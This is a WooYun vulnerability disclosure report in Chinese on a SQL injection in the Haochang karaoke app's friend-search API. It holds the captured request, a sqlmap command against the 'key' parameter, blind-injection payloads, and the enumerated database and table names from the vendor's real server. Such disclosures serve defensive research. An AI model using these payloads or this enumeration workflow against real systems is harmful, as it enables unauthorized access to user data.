当前位置:WooYun >> 漏洞信息

漏洞概要 关注数(24) 关注此漏洞

缺陷编号:wooyun-2015-0137132

漏洞标题:好唱某处存在sql注入

相关厂商:okchang.com

漏洞作者: 柱子

提交时间:2015-08-28 13:15

修复时间:2015-10-15 11:54

公开时间:2015-10-15 11:54

漏洞类型:SQL注射漏洞

危害等级:高

自评Rank:20

漏洞状态:厂商已经确认

漏洞来源: http://www.wooyun.org,如有疑问或需要帮助请联系 [email protected]

Tags标签:

4人收藏 收藏
分享漏洞:


漏洞详情

披露状态:

2015-08-28: 细节已通知厂商并且等待厂商处理中
2015-08-31: 厂商已经确认,细节仅向厂商公开
2015-09-10: 细节向核心白帽子及相关领域专家公开
2015-09-20: 细节向普通白帽子公开
2015-09-30: 细节向实习白帽子公开
2015-10-15: 细节向公众公开

简要描述:

专注好唱~

详细说明:

又是APP那里 查找好友

QQ图片20150826163951.png


抓个包

POST /search_friend/?userId=10965838&type=3&key=1111&start=0&length=20&friend_flag=1 HTTP/1.1
Host: api.51kalaok.com
tel-mac: 02:00:00:00:00:00
tel-system: IOS
Pragma: no-cache
Connection: keep-alive
tel-idfa: 86A2E77F-0F3E-42F0-A0CA-6C3907197782
Proxy-Connection: keep-alive
Accept-Encoding: gzip, deflate
app-version: 3.1
tel-resolution: 640*960
tel-WIFI: 1
Accept-Language: zh-Hans;q=1, en;q=0.9, fr;q=0.8, de;q=0.7, zh-Hant;q=0.6, ja;q=0.5
User-Agent: haochang/3.1.8 (iPhone; iOS 7.1.2; Scale/2.00)
Accept: */*
tel-model: iPhone4,1
tel-IMEI: BCE62028-3163-4617-8C28-0FDC0B6B2C89
app-channel: itunes
tel-version: 7.1.2
Content-Length: 0
Cookie: PHPSESSID=m1vigj8ga0qks21ld5c2eaeo21; SERVER_ID=d79cb948-77f7988a


漏洞证明:

C:\Python27\sqlmap>sqlmap.py -r x.txt -p key --is-dba
_
___ ___| |_____ ___ ___ {1.0-dev-nongit-20150711}
|_ -| . | | | .'| . |
|___|_ |_|_|_|_|__,| _|
|_| |_| http://sqlmap.org
[!] legal disclaimer: Usage of sqlmap for attacking targets without prior mutual
consent is illegal. It is the end user's responsibility to obey all applicable
local, state and federal laws. Developers assume no liability and are not respon
sible for any misuse or damage caused by this program
[*] starting at 16:42:07
[16:42:07] [INFO] parsing HTTP request from 'x.txt'
custom injection marking character ('*') found in option '--headers/--user-agent
/--referer/--cookie'. Do you want to process it? [Y/n/q] y
[16:42:09] [INFO] resuming back-end DBMS 'mysql'
[16:42:09] [INFO] testing connection to the target URL
sqlmap identified the following injection points with a total of 0 HTTP(s) reque
sts:
---
Parameter: key (GET)
Type: boolean-based blind
Title: AND boolean-based blind - WHERE or HAVING clause
Payload: userId=10965838&type=3&key=1111%' AND 8921=8921 AND '%'='&start=0&l
ength=20&friend_flag=1
Type: AND/OR time-based blind
Title: MySQL >= 5.0.12 AND time-based blind (SELECT)
Payload: userId=10965838&type=3&key=1111%' AND (SELECT * FROM (SELECT(SLEEP(
5)))EIRI) AND '%'='&start=0&length=20&friend_flag=1
---
[16:42:11] [INFO] the back-end DBMS is MySQL
back-end DBMS: MySQL 5.0.12
[16:42:11] [INFO] testing if current user is DBA
[16:42:11] [INFO] fetching current user
[16:42:11] [INFO] resumed: [email protected]
current user is DBA: False
[16:42:11] [INFO] fetched data logged to text files under 'C:\Users\Administrato
r\.sqlmap\output\api.51kalaok.com'
[*] shutting down at 16:42:11


有三个裤

available databases [3]:
[*] information_schema
[*] test
[*] tingting2


tingting2有140个表

Database: tingting2
[140 tables]
+----------------------------+
| where |
| autothroughuser |
| backstage_group |
| backstage_log |
| backstage_menu |
| backstage_renwulog |
| backstage_renwulog_log |
| backstage_renwuuser |
| backstage_shenhelog |
| backstage_shenheuser |
| backstage_user |
| check_roster |
| comment_song_counter |
| coreseek |
| found_nav |
| music_cate |
| music_champion |
| music_first_category |
| music_list |
| shenhe_log |
| singer_category |
| singer_list |
| temp_testing_uid |
| tj_category |
| tt_act |
| tt_act_lastview |
| tt_action_virtualhits |
| tt_ad |
| tt_ad_words |
| tt_announcement |
| tt_app_background |
| tt_app_log |
| tt_article |
| tt_attention_0 |
| tt_attention_1 |
| tt_attention_2 |
| tt_attention_3 |
| tt_attention_lastview |
| tt_bisai |
| tt_bisai_log |
| tt_bisai_reward |
| tt_certification |
| tt_certification_rarity |
| tt_certification_uid |
| tt_chorus_0 |
| tt_chorus_1 |
| tt_chorus_2 |
| tt_chorus_3 |
| tt_city |
| tt_comment_0 |
| tt_comment_1 |
| tt_comment_2 |
| tt_comment_3 |
| tt_comment_keyword |
| tt_comment_pool |
| tt_comment_robot |
| tt_comment_shafa |
| tt_comment_stick |
| tt_commenter_pool |
| tt_daily |
| tt_download_log |
| tt_fans_0 |
| tt_fans_1 |
| tt_fans_2 |
| tt_fans_3 |
| tt_flower_receive_0 |
| tt_flower_receive_1 |
| tt_flower_receive_2 |
| tt_flower_receive_3 |
| tt_flower_send_0 |
| tt_flower_send_1 |
| tt_flower_send_2 |
| tt_flower_send_3 |
| tt_friend_act |
| tt_gcount_send |
| tt_gedan |
| tt_gift |
| tt_gift_log |
| tt_gift_sys |
| tt_huoyue_log |
| tt_huoyue_setting |
| tt_index_top |
| tt_index_version |
| tt_jc_teacher |
| tt_jibi_log |
| tt_ktv |
| tt_ktv_home |
| tt_level_setting |
| tt_music_0 |
| tt_music_0_copy |
| tt_music_1 |
| tt_music_2 |
| tt_music_3 |
| tt_music_bag_0 |
| tt_music_bag_1 |
| tt_music_bag_2 |
| tt_music_bag_3 |
| tt_music_classic |
| tt_music_grow_rule |
| tt_music_mv |
| tt_music_photo_0 |
| tt_music_photo_0_copy |
| tt_music_photo_1 |
| tt_music_photo_2 |
| tt_music_photo_3 |
| tt_music_tag_v2 |
| tt_music_top_v2 |
| tt_music_topday |
| tt_notify_log |
| tt_random_tag |
| tt_random_user |
| tt_report |
| tt_report_type |
| tt_say_hello |
| tt_search_log |
| tt_sms_log |
| tt_soft_tuijian |
| tt_songlib_version |
| tt_staff |
| tt_subject |
| tt_suggestion |
| tt_system_setting |
| tt_tag_v2 |
| tt_tiaoyin |
| tt_tiaoyin_param |
| tt_tiaoyin_param_bak |
| tt_toplist_sub |
| tt_toplist_v2 |
| tt_user_0 |
| tt_user_ext_0 |
| tt_user_forbidden |
| tt_user_forbidden_byphoto |
| tt_user_permission_setting |
| tt_user_quality |
| tt_user_quality_lever |
| tt_version |
| tt_version_log |
| tt_web_index |
| uid_trumpet |
| user_device_log |
+----------------------------+


Database: test
[4 tables]
+-------+
| user |
| test |
| test1 |
| test2 |
+-------+


没动数据 请勿水表

修复方案:

过滤参数 非法字符 拦截敏感字符 你们比我懂

版权声明:转载请注明来源 柱子@乌云


漏洞回应

厂商回应:

危害等级:高

漏洞Rank:17

确认时间:2015-08-31 11:52

厂商回复:

感谢白帽子对我们的帮助,我们已加紧处理

最新状态:

暂无